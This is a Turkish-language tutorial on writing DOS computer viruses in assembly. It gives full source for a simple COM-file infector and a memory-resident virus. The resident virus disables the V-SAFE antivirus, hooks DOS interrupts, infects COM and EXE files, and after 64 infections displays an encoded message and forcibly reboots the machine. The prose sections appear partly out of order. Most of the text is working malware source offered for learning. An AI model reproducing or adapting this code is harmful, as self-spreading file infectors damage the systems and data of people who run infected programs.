.Bu bölüme kodlanması en basit olduğundan non-TSR virüslerden başlıyoruz.Ama önce biraz bilgi;

    Lea Si,[Bp+Offset Orjinal]
    Mov Di,100h
    Mov Cx,3
    Rep Movsb

    Lea Dx,[Bp+Offset DTA]
    Mov Ah,1ah
    Int 21h

    Mov Ah,4eh
    Lea Dx,[Bp+DosyaTipi]
    Xor Cx,Cx
TryAnother:
    Int 21h
    Jc Quit

    Mov Ax,3d02h
    Lea Dx,[Bp+Offset DTA+30]
    Int 21h
    XChg Ax,Bx

   Mov Ah,3fh
    Mov Cx,3
    Lea Dx,[Bp+Orjinal]
    Int 21h

   Mov Ax,Word Ptr [Bp+DTA+26]
    Mov Cx,Word Ptr [Bp+Stuff+1]
    Add Cx,eov - VStart+3
    Cmp Ax,Cx
    Jz Close

    Sub Ax,3
    Mov Word Ptr [Bp+Offset WriteBuffer],Ax
    Mov Ax,4200h
    Xor Cx,Cx
    Xor Dx,Dx
    Int 21h
    Mov Ah,40h
    Mov Cx,3
    Lea Dx,[Bp+e9]
    Int 21h

    Mov Ax,4202h
    Xor Cx,Cx
    Xor Dx,Dx
    Int 21h
    Mov Ah,40h
    Mov Cx,eov-vStart
    Mov Dx,[Bp+VStart]
    Int 21h
Close:
    Mov Ah,3eh
    Int 21h

    Mov Ah,4fh
    Jmp TryAnother
Quit:
    Mov Dx,80h
    Mov Ah,1ah
    Int 21h
    Mov Ax,100h
    Push Ax
    Ret

    DosyaTipi Db "*.com",0
    Scene Db "TESTViRUS, just for educational purposes, 1998"
    Orjinal Db 0cdh,20h,0
    e9 Db 0e9h
    eov Equ $
    WriteBuffer Dw ?
    DTA Db 42 dup(?)
End START

Bu yol için kullanılan 2 yol vardır. Yeni Interrupt Handler rutinini set etmeden önce asılmak istenen interrupta yapılabilecek tüm çağrılar engellenmelidir (CLI/STI komutlarıyla.)

Burası biraz zor anlaşılabilir.O yüzden madde madde yazıyorum

Sıra geldi TSR virüsleri incelemeye.1.ci bölümde TSR virüslerin 2 temel bölümden oluştuklarını görmüştük. Bu bölümlerin ilki virüsün ayarlarını yapıp TSR olacak olan Interrupt rutinini yükleyecek kısım, 2.ci bölüm ise virüsün en önemli kısmı olan Interrupt handler rutiniydi.Örnek koda geçmeden önce DOS'un EXE dosyalarda kullanılan MZ başlığını biraz inceleyelim.

EXE Header'ın hemen arkasından varsa relocation table denen tablo yer alır.Relocation table'da yer alan her word EXE dosya içinde CS tabanlı segment adreslerini düzenlemek amacıyla kullanılır.Yani relocation table'da yer alınan her word okunur ve EXE dosyanın yerleşimine göre bu wordlerin isabet ettiği adreslerdeki worde CS'nin o anki değeri eklenir.Relocation table derleyici tarafından ayarlandığı için programcıyı pek fazla ilgilendirmez.

2 ve 3.cü wordler: Bu wordler EXE dosyanın ne kadarlık bir bölümünün belleğe yüklenmesinin programın çalışması için yeterli olduğunu DOS'a bildirir.Belleğe yüklenecek kısım (3.cü word x 512)+2.word formülü ile kolayca hesaplanır.

        Model  Tiny
        .Code
        Org 100h
Main Proc Near
        db      0e9h,0,0
Tsr     Label   Word
Prog:   Push    Es Ds Es            
        Mov     Ax,0fa02h           
        Mov     Dx,5945h            
        Xor     Bx,Bx
        Int     16h

Bu kısımda V-SAFE devre dışı bırakılıyor.Böylece virüs kodu çalışırken V-SAFE'in kullanıcıyı uyarması engellenmiş oluyor.

        Call    Alt                 
Buradan Equ     $-Tsr
Alt:    Pop     Bp                  
        Sub     Bp,Buradan          

Yukarıdaki bölümdeki kod virüsün dosya içindeki konumunu tespit etmek için kullanılıyor.CALL komutu yapısı gereği istenen çağrıyı yapmadan önce kendinden bir sonraki komutun ofset adresini stack'a atarark istenen adrese bir JMP olayı gerçekleştirir.Bu sayede CALL komutundan RET (veya RETF) ile dönüş mümkün olabilir.RET komutu stacka en son sürülen wordu alır ve bu adrese JMP yapar.

Buradan EQU $-TSR olarak görülen satırı açıklamadan önce XXX LABEL WORD/BYTE, EQU ve $ olaylarını anlatmak istiyorum.LABEL WORD veya LABEL BYTE deyimleri bulundukları satırın ofset adresini byte veay word olarak veren bir deyimdir.Bu kod derlendikten sonra COM dosya içinde görünmez.EQU ise bildiğimiz = işaretigibi birşeydir ancak assembly da = işareti ile belirtilen eşitliklere sonradan birşey atanamaz.Yani sabittirler.EQU ile yapılan eşitlikler kod içinde istenildiği zaman değiştirilebilir.$ sembolu o satirin ofset adresini verir.mesela

        Pop     Ax                  
        Add     Ax,10h              
        Add     Cs:[bp+DonSeg],Ax   
        Add     Cs:[bp+SSeg],Ax     
        Mov     Ax,Word Ptr Cs:[Bp+Ilk3]
        Push    Ax

        Mov     Ax,1996h            
        Int     21h
        Cmp     Ax,6991h            
        jnz     TsrOl               

        Jmp     Calistir            
TsrOl:  Push    Es
        Pop     Ax
        dec     ax
        Push    Ax
        Pop     Es
        sub     word ptr es:[3],(ToplamBoy+16)/16
        inc     ax
        add     ax,word ptr es:[3]
        Mov     word ptr ds:[2],ax
        Push    Ax
        push    cs
        pop     ds
        Mov     ax,3521h       
        int     21h
        Mov     [bp+kesim],bx     
        Mov     [bp+kesim+2],es
        pop     es
        Push    Bp
        Pop     Si
        xor     di,di           
        Mov     cx,ProgBoy
        rep     Movsb
        push    es
        pop     ds
        Mov     dx,TsrKisim       
        Mov     ax,2521h
        int     21h
        Mov     Word Ptr ds:Sayac,0    

Calistir:
        push    cs cs          
        pop     es ds ax
        Cmp     Ax,'ZM'    
        jz      Exedon

        Mov     Si,Bp                  
        Add     Si,ilk3                
        Mov     di,100h
	MovSb
	MovSb
        Movsb
        pop     es ds es               
        Mov     ax,100h                
        push    ax
        Call    Yazmac
        ret       

exedon: Pop     Ds Es
        Cli         
        Db      0b8h    
SSeg    equ     $-Tsr
        dw      ?
        Mov     SS,Ax              
        Db      0b8h
SOfs    equ     $-tsr   
        dw      ?       
        Mov     SP,Ax
        Sti         
        Call    Yazmac    
        db      0eah
DonOfs  Equ     $-Tsr
        dw      ?
DonSeg  Equ     $-tsr       
        dw      ?

Yukarıdaki kod karmaşık gelebilir.Bu bölümde SS:SP değerini ayarlamak için öncelikle CLI komutuyla interrupt çağırımını kapamamız gerekiyor.Çünkü Int 09, Int 1C gibi interruptlara takılan TSR programlar başka interruptları çağırıyor olabilir.Bu olayın sonucunda SS:SP değeri değişecektir.SS:SP ayarlandıktan sonra EAxxxx:yyyy komutu ile (bu komut FAR JMP) komutuna karşılık gelmektedir.Yani EA ....:.... ile JMP 3456:1000 gibi bir komut ifade ediliyor.Turbo assembler böyle bir komutu desteklemediği için bu olayı DB 0EAh ile yapmak gerekiyor.Sonuçta çalışmayı orjinal programa devrediyoruz.

Yazmac: Xor     Ax,Ax
        Xor     Bx,Bx
        Xor     Cx,Cx
        Xor     Dx,Dx
        Xor     Si,Si
        Xor     Di,Di
        Ret
TsrKisim Equ    $-Tsr        
        Pushf
        Cmp     Ax,1996h       
        jnz     KDeg
        popf
        Mov     ax,6991h       
        iret                   

KDeg:   Cmp     ax,4b00h               
        jz      Evet                   
        Jmp     Calis                  

Evet:   Push    Ax Bx Cx Dx Si Di Ds Es Ds Dx Es 
        Mov     Ax,3524h               
        Int     21h
        Mov     Word ptr cs:[Int24],Bx 
        Mov     Word Ptr cs:[Int24],Es
        Pop     Es  
        Push    Cs
        Pop     Ds
        Mov     ax,2524h         
        Mov     Dx,YeniInt24
        Int     21h

        Pop     Dx Ds
        Mov     Ax,4301h
        Mov     Cx,20h
        Int     21h

        Call    Exe_Kontrol            
        Call    EXE_Ara                
        Lds     Dx,dword ptr cs:[Int24]
        Mov     Ax,2524h
        Int     21h

        Cmp     Word Ptr cs:Sayac,64h 
        ja      Ninja                 
        Jmp     _Ninja                
Ninja:  Xor     Bx,Bx        
N_dongu:Cmp     Bx,264
        je      Ninja_
        Mov     Dl,Byte Ptr Cs:[Oneri+Bx]
        Xor     Dl,96h
        Mov     Ah,02
        Int     21h
        Inc     Bx
        Jmp     N_Dongu
Ninja_: Xor     Ax,Ax
        Int     16h
        Db      0eah,0,0,0ffh,0ffh              

Virüs, TSR hale geldikten sonra 64 dosyaya bulaşmışsa ekrana bir mesaj yazarak kullanıcının bir tuşa basmasını bekliyor ve hemen ardından db 0eah,0,0,0ffh,0ffh komutu ile (JMP FFFF:0000) sistemi resetliyor.

_Ninja: Pop     Es Ds Di Si Dx Cx Bx Ax         
Calis:  Popf                                    
        db      0eah                            
Kesim   equ     $-Tsr
        dd      ?

Exe_Ara:Push    Cs CS
        Pop     Ds
        Mov     Ah,2fh                          
        Int     21h
        Mov     word Ptr cs:[EskiDTA],Bx
        Mov     Word Ptr cs:[EskiDTA+2],Es
        Pop     Es
        Mov     Dx,YeniDTA                     
        Mov     Ah,1ah
        Int     21h

        Mov     Dx,FTipi                        
        Mov     Cx,25h
        Mov     Ah,4eh
        Int     21h
        jb      DosyaBitti
	Jmp	Kontrol_ett
Tekrar_Ara:
        Mov     Ah,4fh
        Int     21h
        jb      DosyaBitti
Kontrol_Ett:
        Mov     Dx,DosyaAd
        Call    EXE_Kontrol
        Jmp     Tekrar_Ara

DosyaBitti:
        Lds     Dx,dWord Ptr cs:[EskiDTA]
        Mov     Ah,1ah
        Int     21h
        Ret

Exe_Kontrol:
        Mov     Ax,3d02h
        Int     21h
        jnb     Hatayok
        jmp     Acamadi
hatayok:Mov     bx,ax
        Push    Cs Cs
        Pop     Ds Es
        Mov     dx,baslik
        Mov     ah,3fh
        Mov     cx,28
        int     21h
        Cmp     word ptr ds:[Baslik],'ZM'
        jz      Exe
        Cmp     word ptr ds:[Baslik],'MZ'
        jz      Exe
        jmp     com

Yukarıda virüs, bulduğu dosyayı okuma/yazma modunda açtıve EXE Header'ı okudu.Başlığın ilk 2 baytına bakarak dosyanın EXE olup olmadığına karar verdi.(EXE dosyaların başında MZ veya ZM harfleri bulunur)

exe:    Mov     Ax,ds:[StkSeg]
        Mov     ds:[SSeg],Ax
        Mov     Ax,ds:[StkOfs]
        Mov     ds:[SOfs],Ax
        Mov     Ax,Word ptr ds:[CodOfs]
        Mov     Word ptr ds:[DonOfs],Ax
        Mov     Ax,Word Ptr ds:[CodSeg]
        Mov     Word ptr ds:[DonSeg],Ax
        Cmp     Word Ptr ds:[Exe_Top],1996h
        jnz     Bulasiver
        Jmp     KapatveCalis

Bulasiver:
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4202h
        Int     21h
        Mov     Cx,16
        Div     Cx
        Sub     Ax,Word ptr ds:[Parag]
        Mov     Word Ptr ds:[StkSeg],Ax
        Mov     Word Ptr ds:[CodSeg],Ax
        Mov     Word Ptr ds:[CodOfs],dx
        Add     Dx,ToplamBoy
        Mov     Word Ptr ds:[StkOfs],Dx
        Mov     Si,Baslik
        Mov     Di,Ilk3
        Mov     Cx,3
        Rep     Movsb
        Xor     Dx,Dx
        Mov     Cx,ProgBoy
        Mov     Ah,40h
        Int     21h
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4202h
        Int     21h
        Mov     Cx,512
        Div     Cx
        Or      Dx,Dx
        Jz      GYok
        Inc     Ax
Gyok:   Mov     Word Ptr ds:[Boyl],Ax
        Mov     Word Ptr ds:[Boyh],Dx
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4200h
        Int     21h
        Mov     Word Ptr ds:[Exe_Top],1996h
        Mov     Dx,Baslik
        Mov     Cx,28
        Mov     Ah,40h
        Int     21h
        Add     Word Ptr cs:Sayac,1
        Jmp     KapatveCalis

com:    Cmp     Byte Ptr cs:[Baslik],0e9h
        jnz     YapYapacagini
        Jmp     KapatveCalis

YapYapacagini:
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4200h
        Int     21h
        Mov     Ah,3fh
        Mov     Dx,Ilk3
        Mov     Cx,3
        Int     21h
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4202h
        Int     21h
        Cmp     Ax,51200
        ja      KapatveCalis
        Cmp     Ax,10240
        jb      KapatveCalis
        Sub     Ax,3
        Mov     Word Ptr ds:[ComAdr],Ax
        Xor     Dx,Dx
        Mov     Ah,40h
        Mov     Cx,ProgBoy
        Int     21h
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4200h
        Int     21h
        Mov     Dx,YeniCom
        Mov     Ah,40h
        Mov     Cx,3
        Int     21h

KapatveCalis:
        Mov     Ax,5700h
        Int     21h
        Mov     Ax,5701h
        Int     21h
        mov     ah,3eh
        int     21h

Acamadi:Ret
Oneri   Equ     $-Tsr
Db 0C5h,0FFh,0E5h,0E2h,0F3h,0FBh,0F2h,0F3h,0B6h,0E0h,0FFh,0E4h,017h,0E5h,0B6h
Db 0EFh,0F7h,0FDh,0F7h,0FAh,0F7h,0F8h,0FBh,0F7h,0E5h,01Bh,0B6h,0F2h,0E3h,0E4h
Db 0E3h,0FBh,0E3h,0F8h,0F2h,0F7h,0B6h,0EFh,0F7h,0E6h,01Bh,0FAh,0F7h,0F5h,0F7h
Db 0FDh,0FAh,0F7h,0E4h,0ACh,09Ch,09Bh,09Ch,09Bh,0A7h,0BBh,0B6h,0C5h,0FFh,0E5h
db 0E2h,0F3h,0FBh,0FFh,0B6h,0E2h,0F3h,0FBh,0FFh,0ECh,0B6h,0F4h,0FFh,0E4h,0B6h
Db 0F2h,0FFh,0E5h,0FDh,0F3h,0E2h,0E2h,0F3h,0B6h,0E5h,0F7h,0FDh,0FAh,0F7h,0F8h
Db 0FBh,01Bh,009h,0B6h,0F7h,0F8h,0E2h,0FFh,0E0h,0FFh,0E4h,017h,0E5h,0B6h,0FFh
Db 0FAh,0F3h,0B6h,0F7h,011h,09Ch,09Bh,0A4h,0BBh,0B6h,0DEh,0F7h,0E4h,0F2h,0B6h
Db 0F2h,0FFh,0E5h,0FDh,0FFh,0B6h,0DEh,0F3h,0E3h,0E4h,0FFh,0E5h,0E2h,0FFh,0F5h
Db 0B6h,0E2h,0F7h,0E4h,0F7h,0EFh,01Bh,0F5h,01Bh,0B6h,0FFh,0FAh,0F3h,0B6h,0E2h
Db 0F7h,0E4h,0F7h,09Ch,09Bh,0A5h,0BBh,0B6h,0C2h,0F3h,0FBh,0FFh,0ECh,0FAh,0F3h
Db 0EFh,0F3h,0FBh,0F3h,0F2h,0FFh,0B6h,0FBh,0FFh,0B6h,0A9h,0B6h,0D9h,0B6h,0ECh
Db 0F7h,0FBh,0F7h,0F8h,0B6h,0F4h,0FFh,0E4h,0B6h,0E5h,0FFh,0F1h,0F7h,0E4h,0F7h
Db 0B6h,0EFh,0F7h,0FDh,09Ch,09Bh,09Ch,09Bh,0A2h,0BBh,0B6h,016h,0F9h,0FDh,0B6h
db 0FDh,01Bh,0ECh,0F2h,01Bh,0EFh,0E5h,0F7h,0F8h,0B6h,0FDh,01Bh,0ECh,0F7h,0F8h
db 0B6h,0EFh,0F3h,0E4h,0FFh,0F8h,0F3h,0B6h,0F4h,0E3h,0ECh,0B6h,0E5h,0F9h,0FDh
db 0B6h,0B7h,09Ch,09Bh,09Ch,09Bh,00Eh,0FBh,0ECh,0F7h,0B6h,0ACh,0B6h,0C5h,0F3h
db 0F8h,0F5h,0F3h,0B6h,0FDh,0FFh,0FBh,0B6h,0A9h

FTipi   Equ     $-Tsr
        db      '*.EXE',0
YeniInt24 Equ   $-tsr
        Mov     al,0
        iret
Ilk3    Equ     $-Tsr
        db      0cdh,20h,0cch
YeniCom Equ     $-Tsr
        db      0e9h
ComAdr  Equ     $-Tsr
        dw      ?
ProgBoy Equ     $-Tsr
Int24   Equ     $-Tsr
        dd      ?
Baslik  Equ     $-Tsr
        dw      ?
Boyh    equ     $-Tsr
        dw      ?
Boyl    equ     $-Tsr
        dw      ?,?
Parag   equ     $-tsr
        dw      ?,?,?
StkSeg  equ     $-tsr
        dw      ?
StkOfs  equ     $-tsr
        dw      ?
EXE_Top equ     $-tsr
        dw      ?
CodOfs  equ     $-tsr
        dw      ?
CodSeg  equ     $-tsr
        dw      ?,?,?
EskiDTA Equ     $-Tsr
        dd      ?
YeniDTA Equ     $-Tsr
        db      30 dup (?)      
DosyaAd Equ     $-Tsr
        db      13 dup(?)
Sayac   Equ     $-Tsr
        dw      ?
ToplamBoy Equ   $-Tsr
Main    Endp
End     Main